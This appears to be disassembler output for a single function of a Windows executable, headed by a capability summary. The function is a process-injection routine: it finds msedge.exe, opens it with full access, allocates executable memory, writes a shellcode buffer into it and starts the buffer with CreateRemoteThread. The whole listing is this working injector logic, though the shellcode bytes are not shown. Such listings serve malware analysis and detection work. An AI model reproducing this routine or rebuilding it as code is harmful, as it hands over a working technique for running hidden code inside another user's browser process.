Function at 0x140001140
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x378
mov rax, qword [0x140031028]
xor rax, rsp
mov qword [rsp + 0x360], rax
lea rax, [rsp + 0x1a0]
lea rcx, [0x140022420]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1b2
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x58], 0x1b2
mov dword [rsp + 0x70], 0x130
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0xffffffffffffffff
jne 0x1400011be
lea rdx, str.Failed_to_create_process_snapshot._n
lea rcx, [0x140032170]
call fcn.140001490
mov eax, 1
jmp 0x1400013fa
mov dword [rsp + 0x48], 0
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140001210
lea rdx, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140001210
lea rdx, str.msedge.exe
lea rcx, [rsp + 0x9c]
call fcn.14000d780
test eax, eax
jne 0x14000120e
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x48], eax
jmp 0x140001210
jmp 0x1400011d9
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x48], 0
jne 0x14000123f
lea rdx, str.Failed_to_find_the_process._n
lea rcx, [0x140032170]
call fcn.140001490
mov eax, 1
jmp 0x1400013fa
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000127b
lea rdx, str.Failed_to_open_the_process._n
lea rcx, [0x140032170]
call fcn.140001490
mov eax, 1
jmp 0x1400013fa
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x1400012d2
lea rdx, str.Failed_to_allocate_memory_in_the_remote_process._n
lea rcx, [0x140032170]
call fcn.140001490
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400013fa
mov eax, dword [rsp + 0x58]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [rsp + 0x1a0]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000133f
lea rdx, str.Failed_to_write_shellcode_to_the_remote_process._n
lea rcx, [0x140032170]
call fcn.140001490
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400013fa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400013b9
lea rdx, str.Failed_to_create_a_remote_thread_in_the_process._n
lea rcx, [0x140032170]
call fcn.140001490
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400013fa
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x360]
xor rcx, rsp
call fcn.140006f90
add rsp, 0x378
pop rdi
pop rsi
ret